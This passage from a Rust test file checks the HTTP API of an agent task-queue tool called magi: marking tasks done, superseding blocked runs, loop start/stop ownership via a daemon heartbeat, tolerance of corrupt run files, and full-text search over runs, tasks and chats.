18656        queue.put(&mut task).expect("file the task");
18657        let created_at = task.created_at;
18658
18659        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18660        assert_eq!(done.status, 200, "{}", done.body);
18661        assert_eq!(done.json()["status_str"], "done");
18662
18663        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18664        assert_eq!(
18665            reloaded.runs,
18666            ["20260101-000000-b455", "20260101-000000-9af4"]
18667        );
18668        assert_eq!(
18669            reloaded.source,
18670            Source::Agent {
18671                run: "20260101-000000-b455".to_owned(),
18672                node: "implement".to_owned(),
18673            }
18674        );
18675        assert_eq!(reloaded.created_at, created_at);
18676    }
18677
18678    #[tokio::test]
18679    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18680        // `done` is allowed on any status, including `held`, with no release
18681        // in between - so a task held for a reason and then closed directly
18682        // must not keep reading as "waiting on" it afterwards, on its card or
18683        // in `magi task show`.
18684        let f = Fixture::start().await;
18685        let queue = f.queue();
18686        let mut task = Task::new(
18687            "landed while held".to_owned(),
18688            "x".to_owned(),
18689            PathBuf::from("/repo/magi"),
18690            Source::Human,
18691        );
18692        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18693        queue.put(&mut task).expect("file the held task");
18694
18695        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18696        assert_eq!(done.status, 200, "{}", done.body);
18697        assert_eq!(done.json()["status_str"], "done");
18698        assert!(
18699            done.json()["hold_reason"].is_null(),
18700            "a done task cannot still be waiting on something: {}",
18701            done.body
18702        );
18703    }
18704
18705    #[tokio::test]
18706    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18707        // `queue_done` is the phone's way to close a task the loop never
18708        // settled itself - after confirming a manual GitHub merge, say - and
18709        // that is just as much "this task's story is over" as the loop's own
18710        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18711        let f = Fixture::start().await;
18712        let queue = f.queue();
18713        let runs = f.runs();
18714        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18715        // The last attempt has to have actually landed for the earlier one
18716        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18717        // for the case where it didn't.
18718        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18719
18720        let mut task = Task::new(
18721            "landed by hand".to_owned(),
18722            "x".to_owned(),
18723            PathBuf::from("/repo/magi"),
18724            Source::Human,
18725        );
18726        task.runs.push("20260101-000000-doa1".to_owned());
18727        task.runs.push("20260101-000000-doa2".to_owned());
18728        queue.put(&mut task).expect("file the task");
18729
18730        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18731        assert_eq!(done.status, 200, "{}", done.body);
18732
18733        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18734            .expect("run still on disk under this fixture's own home");
18735        assert_eq!(
18736            reloaded_run.status,
18737            RunStatus::Superseded,
18738            "closing the task by hand must relabel the earlier blocked attempt exactly \
18739             like the loop's own settle path does"
18740        );
18741    }
18742
18743    #[tokio::test]
18744    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18745        // Closing a task by hand is allowed from any status, including one
18746        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18747        // manual merge the loop never watched, say. Nothing here is provably
18748        // why the task is done, so nothing earlier gets relabelled either.
18749        let f = Fixture::start().await;
18750        let queue = f.queue();
18751        let runs = f.runs();
18752        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18753        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18754
18755        let mut task = Task::new(
18756            "closed with nothing actually landed".to_owned(),
18757            "x".to_owned(),
18758            PathBuf::from("/repo/magi"),
18759            Source::Human,
18760        );
18761        task.runs.push("20260101-000000-dob1".to_owned());
18762        task.runs.push("20260101-000000-dob2".to_owned());
18763        queue.put(&mut task).expect("file the task");
18764
18765        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18766        assert_eq!(done.status, 200, "{}", done.body);
18767
18768        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18769            .expect("run still on disk under this fixture's own home");
18770        assert_eq!(
18771            reloaded_run.status,
18772            RunStatus::Blocked,
18773            "the last recorded attempt never landed, so the earlier one must not be \
18774             relabelled as superseded by it"
18775        );
18776    }
18777
18778    #[tokio::test]
18779    async fn unknown_ids_are_json_not_found_on_both_stores() {
18780        let f = Fixture::start().await;
18781
18782        let run = f.get("/api/runs/nosuchrun").await;
18783        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18784
18785        assert_eq!(run.status, 404);
18786        assert_eq!(task.status, 404);
18787        assert!(
18788            run.json()["error"]
18789                .as_str()
18790                .is_some_and(|e| e.contains("run")),
18791            "the error names what was not found: {}",
18792            run.body
18793        );
18794        assert!(
18795            task.json()["error"]
18796                .as_str()
18797                .is_some_and(|e| e.contains("task")),
18798            "the error names what was not found: {}",
18799            task.body
18800        );
18801    }
18802
18803    #[tokio::test]
18804    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18805        let f = Fixture::start().await;
18806
18807        let missing = f.get("/api/health").await.json();
18808        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18809
18810        write_daemon(
18811            f.home.path(),
18812            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18813        );
18814        let stale = f.get("/api/health").await.json();
18815        assert_eq!(
18816            stale["daemon"]["running"], false,
18817            "a minute without a heartbeat is a dead daemon, not a busy one"
18818        );
18819        assert!(
18820            stale["daemon"]["stale_for_secs"]
18821                .as_i64()
18822                .is_some_and(|s| s >= 55),
18823            "staleness is reported so the UI can say how long: {stale}"
18824        );
18825
18826        write_daemon(f.home.path(), Timestamp::now());
18827        let fresh = f.get("/api/health").await.json();
18828        assert_eq!(fresh["daemon"]["running"], true);
18829        assert_eq!(fresh["daemon"]["idle"], false);
18830        assert_eq!(fresh["daemon"]["pid"], 4242);
18831        assert_eq!(fresh["daemon"]["completed"], 7);
18832        assert_eq!(
18833            fresh["daemon"]["current"][0]["task"],
18834            "20260902-140501-aaaa"
18835        );
18836        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18837    }
18838
18839    #[tokio::test]
18840    async fn the_loop_is_not_running_until_something_starts_it() {
18841        let f = Fixture::start().await;
18842
18843        let view = f.get("/api/loop").await.json();
18844        assert_eq!(view["running"], false);
18845        assert_eq!(
18846            view["owned"], false,
18847            "nobody owns a loop that does not exist: {view}"
18848        );
18849        assert_eq!(view["stopping"], false);
18850        assert_eq!(view["last_error"], Value::Null);
18851        assert_eq!(view["daemon"]["running"], false);
18852        assert_eq!(
18853            view["repo"], "/repo/magi",
18854            "the repository a start would use, named before it is started"
18855        );
18856    }
18857
18858    #[tokio::test]
18859    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18860        let f = Fixture::start().await;
18861
18862        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18863        assert_eq!(res.status, 200, "{}", res.body);
18864        let view = res.json();
18865        assert_eq!(view["running"], true);
18866        assert_eq!(
18867            view["owned"], true,
18868            "the loop the UI started is the UI's own to stop: {view}"
18869        );
18870        assert_eq!(
18871            view["merge"],
18872            Value::Null,
18873            "no override was given, so each repository's own config decides"
18874        );
18875
18876        // The same object from the route a waking phone polls first. Two
18877        // surfaces disagreeing about whether anything is running is exactly
18878        // the confusion this UI exists to remove.
18879        let health = f.get("/api/health").await.json();
18880        assert_eq!(health["loop"]["running"], true, "{health}");
18881        assert_eq!(health["loop"]["owned"], true, "{health}");
18882
18883        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18884    }
18885
18886    #[tokio::test]
18887    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18888        let f = Fixture::start().await;
18889        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18890        assert_eq!(first.status, 200, "{}", first.body);
18891
18892        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18893        assert_eq!(
18894            again.status, 409,
18895            "two loops on one queue race for the same claims: {}",
18896            again.body
18897        );
18898        assert!(
18899            again.json()["error"]
18900                .as_str()
18901                .is_some_and(|e| e.contains("already running the loop")),
18902            "the refusal has to say why: {}",
18903            again.body
18904        );
18905        assert_eq!(
18906            f.get("/api/loop").await.json()["running"],
18907            true,
18908            "and the loop that was already running is untouched by it"
18909        );
18910
18911        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18912    }
18913
18914    #[tokio::test]
18915    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18916        let f = Fixture::start().await;
18917        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18918
18919        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18920        assert_eq!(
18921            res.status, 200,
18922            "the answer must not wait for the loop: a run in flight is tens of \
18923             minutes and the operator is holding a phone: {}",
18924            res.body
18925        );
18926
18927        let view = settled(&f, |v| v["running"] == false).await;
18928        assert_eq!(view["owned"], false);
18929        assert_eq!(
18930            view["stopping"], false,
18931            "a loop that has stopped is not still stopping: {view}"
18932        );
18933        assert_eq!(
18934            view["last_error"],
18935            Value::Null,
18936            "a loop that was asked to stop did not fail: {view}"
18937        );
18938
18939        // Idempotent, because the operator cannot tell a slow stop from a lost
18940        // one and will press it again.
18941        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18942        assert_eq!(twice.status, 200, "{}", twice.body);
18943    }
18944
18945    #[tokio::test]
18946    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18947        let f = Fixture::start().await;
18948        // How the operator has been doing it: a `magi serve` of their own,
18949        // heartbeat fresh, in the same home this UI reads.
18950        write_daemon(f.home.path(), Timestamp::now());
18951
18952        let view = f.get("/api/loop").await.json();
18953        assert_eq!(view["running"], false, "not in this process: {view}");
18954        assert_eq!(view["owned"], false, "and not this process's to control");
18955        assert_eq!(
18956            view["daemon"]["running"], true,
18957            "but a loop is alive somewhere, which is what the UI must say"
18958        );
18959        assert_eq!(view["daemon"]["pid"], 4242);
18960
18961        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18962            let res = f.post("/api/loop", Some(body)).await;
18963            assert_eq!(
18964                res.status, 409,
18965                "neither button may pretend to work on someone else's loop: {}",
18966                res.body
18967            );
18968            assert!(
18969                res.json()["error"]
18970                    .as_str()
18971                    .is_some_and(|e| e.contains("4242")),
18972                "the refusal has to name the process the operator must go to: {}",
18973                res.body
18974            );
18975        }
18976        assert_eq!(
18977            f.get("/api/loop").await.json()["running"],
18978            false,
18979            "and the refusal started nothing"
18980        );
18981    }
18982
18983    #[tokio::test]
18984    async fn a_stale_status_file_is_not_a_foreign_owner() {
18985        let f = Fixture::start().await;
18986        write_daemon(
18987            f.home.path(),
18988            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18989        );
18990
18991        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18992        assert_eq!(
18993            res.status, 200,
18994            "a daemon killed a minute ago must not lock the loop out of its \
18995             own home for good: {}",
18996            res.body
18997        );
18998        assert_eq!(res.json()["running"], true);
18999
19000        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19001    }
19002
19003    #[tokio::test]
19004    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19005        let f = Fixture::start().await;
19006        let before = f.get("/api/health").await.json()["loop_rev"]
19007            .as_u64()
19008            .expect("a loop revision");
19009
19010        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19011
19012        let after = f.get("/api/health").await.json()["loop_rev"]
19013            .as_u64()
19014            .expect("a loop revision");
19015        assert!(
19016            after > before,
19017            "the loop is in-process state, so this counter is the only thing \
19018             that tells a second device the first one started it: {before} -> \
19019             {after}"
19020        );
19021
19022        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19023    }
19024
19025    #[tokio::test]
19026    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19027        let f = Fixture::with_loop(launch_broken).await;
19028
19029        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19030        assert_eq!(
19031            res.status, 200,
19032            "starting it is not the failure: {}",
19033            res.body
19034        );
19035
19036        let view = settled(&f, |v| v["last_error"].is_string()).await;
19037        assert_eq!(
19038            view["running"], false,
19039            "a loop that died must not read as running, or the operator has \
19040             nothing to press: {view}"
19041        );
19042        assert_eq!(view["owned"], false);
19043        assert!(
19044            view["last_error"]
19045                .as_str()
19046                .is_some_and(|e| e.contains("read-only file system")),
19047            "the phone is where a loop that died at 3am is visible: {view}"
19048        );
19049
19050        // And it can be started again: the corpse was reaped, not left to
19051        // occupy the slot.
19052        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19053        assert_eq!(again.status, 200, "{}", again.body);
19054        assert!(
19055            again.json()["last_error"]
19056                .as_str()
19057                .is_none_or(|e| !e.contains("read-only file system")),
19058            "a fresh start does not keep showing why the last one died: {}",
19059            again.body
19060        );
19061    }
19062
19063    #[tokio::test]
19064    async fn a_newer_daemon_status_file_still_renders() {
19065        let f = Fixture::start().await;
19066        // A field this build has never heard of must not turn the status line
19067        // into a 500; that is the whole reason the reader is permissive.
19068        std::fs::write(
19069            f.home.path().join("daemon.json"),
19070            serde_json::json!({
19071                "schema": 2,
19072                "updated_at": Timestamp::now().to_string(),
19073                "idle": true,
19074                "surprise": { "nested": [1, 2, 3] },
19075            })
19076            .to_string(),
19077        )
19078        .expect("write daemon.json");
19079
19080        let health = f.get("/api/health").await;
19081
19082        assert_eq!(health.status, 200);
19083        assert_eq!(health.json()["daemon"]["running"], true);
19084    }
19085
19086    #[tokio::test]
19087    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19088        let f = Fixture::start().await;
19089        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19090        let broken = f.runs().join("20260902-140502-bad");
19091        std::fs::create_dir_all(&broken).expect("run dir");
19092        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19093
19094        let list = f.get("/api/runs").await;
19095        let detail = f.get("/api/runs/20260902-140502-bad").await;
19096
19097        assert_eq!(list.status, 200);
19098        let listed = list.json();
19099        let ids: Vec<&str> = listed
19100            .as_array()
19101            .expect("an array")
19102            .iter()
19103            .map(|r| r["id"].as_str().expect("an id"))
19104            .collect();
19105        assert_eq!(
19106            ids,
19107            vec!["20260902-140501-good"],
19108            "one unreadable run must not cost the operator the whole history"
19109        );
19110        assert_eq!(detail.status, 500);
19111        assert!(
19112            detail.json()["error"]
19113                .as_str()
19114                .is_some_and(|e| e.contains("run.json")),
19115            "the failure names the file to look at: {}",
19116            detail.body
19117        );
19118        // A skipped run has to be countable somewhere, or the UI shows an
19119        // empty history with nothing to explain it - which is exactly what a
19120        // directory full of older-schema runs looks like.
19121        let health = f.get("/api/health").await;
19122        assert_eq!(health.json()["runs_unreadable"], 1);
19123    }
19124
19125    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19126    #[tokio::test]
19127    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19128        let f = Fixture::start().await;
19129        let runs = f.runs();
19130        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19131        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19132        // Text three levels down, in a shape no current RunState has: an older
19133        // schema must still search.
19134        let path = runs.join("20260902-140502-bbbb").join("run.json");
19135        let mut v: serde_json::Value =
19136            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19137        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19138        std::fs::write(&path, v.to_string()).unwrap();
19139        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19140        std::fs::write(
19141            runs.join("20260902-140503-cccc").join("run.json"),
19142            "{ not json",
19143        )
19144        .unwrap();
19145
19146        let res = f.get("/api/search?scope=runs&q=quokka").await;
19147        assert_eq!(res.status, 200, "{}", res.body);
19148        let v = res.json();
19149        assert_eq!(v["total"], 1, "{v}");
19150        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19151        assert_eq!(v["hits"][0]["field"], "text");
19152        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19153        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19154        assert!(
19155            parts
19156                .iter()
19157                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19158            "{v}"
19159        );
19160        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19161        assert_eq!(
19162            flat, "The Quokka leaks across threads",
19163            "whitespace is collapsed"
19164        );
19165
19166        // Terms are ANDed, across different fields, case-insensitively.
19167        let both = f
19168            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19169            .await
19170            .json();
19171        assert_eq!(both["total"], 1, "{both}");
19172        let neither = f
19173            .get("/api/search?scope=runs&q=quokka%20zebra")
19174            .await
19175            .json();
19176        assert_eq!(neither["total"], 0, "{neither}");
19177        // Everything in the task statement is reachable, not only the row text.
19178        let stmt = f
19179            .get("/api/search?scope=runs&q=mobile%20first")
19180            .await
19181            .json();
19182        assert_eq!(stmt["total"], 2, "{stmt}");
19183        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19184        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19185    }
19186
19187    #[test]
19188    fn snippet_ignores_terms_longer_than_the_field() {
19189        let terms = ["ok".to_owned(), "elephant".to_owned()];
19190        let parts = snippet_of("ok", &terms);
19191        assert_eq!(
19192            parts,
19193            vec![SnippetPart {
19194                text: "ok".to_owned(),
19195                hit: true
19196            }]
19197        );
19198    }
19199
19200    #[test]
19201    fn snippet_marks_matches_longer_than_the_window() {
19202        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19203        let hit_len = |parts: &[SnippetPart]| -> usize {
19204            parts
19205                .iter()
19206                .filter(|p| p.hit)
19207                .map(|p| p.text.chars().count())
19208                .sum()
19209        };
19210        let total =
19211            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19212
19213        let long = "a".repeat(120);
19214        let parts = snippet_of(&long, std::slice::from_ref(&long));
19215        assert!(hit_len(&parts) > 0, "{parts:?}");
19216        assert!(total(&parts) <= cap);
19217
19218        let ja = "あ".repeat(130);
19219        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19220        assert!(hit_len(&parts) > 0, "{parts:?}");
19221        assert!(total(&parts) <= cap);
19222
19223        // A short hit, then one straddling the window's end.
19224        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19225        let term = format!("ab{}", "c".repeat(100));
19226        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19227        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19228        assert!(total(&parts) <= cap);
19229
19230        // Only the head matches: not highlighted.
19231        let text = format!("{}z", "a".repeat(119));
19232        let parts = snippet_of(&text, &["a".repeat(120)]);
19233        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19234    }
19235
19236    #[tokio::test]
19237    async fn search_caps_hits_and_snippet_length() {
19238        let f = Fixture::start().await;
19239        let runs = f.runs();
19240        for n in 0..(SEARCH_MAX_HITS + 5) {
19241            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19242        }
19243        let v = f.get("/api/search?scope=runs&q=web").await.json();
19244        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19245        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19246        assert_eq!(v["truncated"], true);
19247        // Every listed run hit carries its list row for the page's filters.
19248        assert!(
19249            v["hits"]
19250                .as_array()
19251                .unwrap()
19252                .iter()
19253                .all(|h| h["run"]["status"] == "merged")
19254        );
19255
19256        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19257        let parts = snippet_of(&long, &["needle".to_owned()]);
19258        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19259        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19260        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19261    }
19262
19263    #[tokio::test]
19264    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19265        let f = Fixture::start().await;
19266        let queue = f.queue();
19267        let mut t = Task::new(
19268            "short title".to_owned(),
19269            "line one\nthe hidden Armadillo detail".to_owned(),
19270            PathBuf::from("/repo/magi"),
19271            Source::Agent {
19272                run: "r1".to_owned(),
19273                node: "chat".to_owned(),
19274            },
19275        );
19276        t.last_error = Some("disk full on /tmp".to_owned());
19277        queue.put(&mut t).expect("file the task");
19278
19279        for (q, want) in [
19280            ("armadillo", 1),
19281            ("disk%20FULL", 1),
19282            ("chat", 1),
19283            ("queued", 1),
19284            ("short%20nothing", 0),
19285        ] {
19286            let v = f
19287                .get(&format!("/api/search?scope=tasks&q={q}"))
19288                .await
19289                .json();
19290            assert_eq!(v["total"], want, "{q}: {v}");
19291        }
19292        for bad in [
19293            "/api/search?scope=tasks&q=",
19294            "/api/search?scope=tasks&q=%20",
19295            "/api/search?scope=chats&q=",
19296            "/api/search?scope=chats&q=%20",
19297            "/api/search?scope=nope&q=a",
19298            "/api/search?q=a",
19299        ] {
19300            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19301        }
19302    }
19303
19304    /// Write one conversation file the way the store reads it back.
19305    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19306        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19307            .expect("seat value");
19308        let turns: Vec<serde_json::Value> = turns
19309            .iter()
19310            .map(|(who, body)| {
19311                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19312            })
19313            .collect();
19314        let doc = serde_json::json!({
19315            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19316            "status": status, "turns": turns,
19317            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19318            "seat": seat,
19319        });
19320        let dir = f.home.path().join("talks");
19321        std::fs::create_dir_all(&dir).expect("talks dir");
19322        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19323    }
19324
19325    #[test]
19326    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19327        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19328            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19329            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19330            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19331            "seat": crate::agent::SeatState::new("talk", "test", 1)
19332        })).unwrap();
19333        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19334        talk.title = Some(talk::ChatTitle {
19335            text: "最近の話題".into(),
19336            source: talk::TitleSource::Generated,
19337        });
19338        let doc = talk_search_doc(&talk);
19339        assert_eq!(doc["title"], "最近の話題");
19340        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19341        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19342        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19343    }
19344
19345    #[test]
19346    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19347        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19348        talk.title = Some(talk::ChatTitle {
19349            text: "Saved title".into(),
19350            source: talk::TitleSource::Manual,
19351        });
19352        talk.turns = serde_json::from_value(serde_json::json!([
19353            {
19354                "who": "operator", "sender": "external", "body": "External plain",
19355                "at": "2026-09-08T20:58:02Z"
19356            },
19357            {
19358                "who": "operator", "body": "External message",
19359                "at": "2026-09-08T20:58:03Z",
19360                "messages": [{
19361                    "sender": "external", "body": "External message", "attachments": []
19362                }]
19363            }
19364        ]))
19365        .unwrap();
19366        let doc = talk_search_doc(&talk);
19367        assert_eq!(doc["turns"][0]["external"], "External plain");
19368        assert_eq!(doc["turns"][1]["external"], "External message");
19369        assert!(doc["turns"][0].get("operator").is_none());
19370        assert!(doc["turns"][1].get("operator").is_none());
19371        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19372        assert_eq!(hit.field, "external");
19373        let target = hit.target.unwrap();
19374        assert_eq!((target.turn, target.message), (1, 0));
19375    }
19376
19377    #[test]
19378    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19379        let talk: Talk = serde_json::from_value(serde_json::json!({
19380            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19381            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19382            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19383                "messages":[{"body":"First message", "attachments":[], "reply":null},
19384                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19385                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19386            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19387            "seat": crate::agent::SeatState::new("talk", "test", 1)
19388        })).unwrap();
19389        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19390        let target = hit.target.unwrap();
19391        assert_eq!((target.turn, target.message), (0, 1));
19392        assert_eq!(target.text, chat_text_key("Search 運用"));
19393        assert_eq!(
19394            hit.snippet,
19395            snippet_of("Search 運用", &search_terms("運用 Another"))
19396        );
19397        assert!(
19398            search_chat(&search_terms("Saved"), &talk)
19399                .unwrap()
19400                .target
19401                .is_none()
19402        );
19403        assert!(
19404            search_chat(&search_terms("ab12"), &talk)
19405                .unwrap()
19406                .target
19407                .is_none()
19408        );
19409        // All terms may still match across separate display rows.
19410        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19411        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19412    }
19413
19414    #[test]
19415    fn chat_search_targets_opener_derived_titles() {
19416        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19417            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19418            "status": "open", "turns": [
19419                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19420                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19421                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19422            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19423            "seat": crate::agent::SeatState::new("talk", "test", 1)
19424        }))
19425        .unwrap();
19426        let terms = search_terms("運用");
19427        let hit = search_chat(&terms, &talk).unwrap();
19428        assert_eq!(hit.field, "title");
19429        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19430        let target = hit.target.unwrap();
19431        assert_eq!((target.turn, target.message), (1, 0));
19432        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19433        // A blank first send can put the opener line in a later display row.
19434        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19435            {"body":"", "attachments":[], "reply":null},
19436            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19437        ]))
19438        .unwrap();
19439        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19440        assert_eq!((target.turn, target.message), (1, 1));
19441        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19442        talk.title = Some(talk::ChatTitle {
19443            text: "運用について".into(),
19444            source: talk::TitleSource::Manual,
19445        });
19446        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19447    }
19448
19449    #[tokio::test]
19450    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19451        let f = Fixture::start().await;
19452        write_talk(
19453            &f,
19454            "20260901-000001-aaaa",
19455            "open",
19456            &[
19457                (
19458                    "operator",
19459                    "\n  Why does the Pangolin cache expire?\nsecond line",
19460                ),
19461                ("agent", "Because the TTL is thirty seconds."),
19462            ],
19463        );
19464        write_talk(
19465            &f,
19466            "20260901-000002-bbbb",
19467            "closed",
19468            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19469        );
19470        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19471
19472        let search = |q: &'static str| {
19473            let f = &f;
19474            async move {
19475                f.get(&format!("/api/search?scope=chats&q={q}"))
19476                    .await
19477                    .json()
19478            }
19479        };
19480
19481        let v = search("PANGOLIN").await;
19482        assert_eq!(v["scope"], "chats");
19483        assert_eq!(v["total"], 1, "{v}");
19484        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19485        assert_eq!(v["hits"][0]["field"], "title");
19486        assert_eq!(v["unreadable"], 1, "{v}");
19487        let marked: Vec<&str> = v["hits"][0]["snippet"]
19488            .as_array()
19489            .unwrap()
19490            .iter()
19491            .filter(|p| p["hit"] == true)
19492            .map(|p| p["text"].as_str().unwrap())
19493            .collect();
19494        assert_eq!(marked, ["Pangolin"]);
19495
19496        // An agent turn, in a closed conversation.
19497        let v = search("zebra").await;
19498        assert_eq!(v["total"], 1, "{v}");
19499        assert_eq!(v["hits"][0]["field"], "agent");
19500        // Words may sit in different turns; all must be present.
19501        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19502        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19503        // Bookkeeping is not searched.
19504        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19505            assert_eq!(search(q).await["total"], 0, "{q}");
19506        }
19507        // The first line only is the title; the second line is still a turn.
19508        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19509        // Open conversations are listed before closed ones.
19510        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19511
19512        let v = f.get("/api/search?scope=nope&q=a").await;
19513        assert_eq!(v.status, 400);
19514        assert!(
19515            v.body.contains("scope must be runs, tasks or chats"),
19516            "{}",
19517            v.body
19518        );
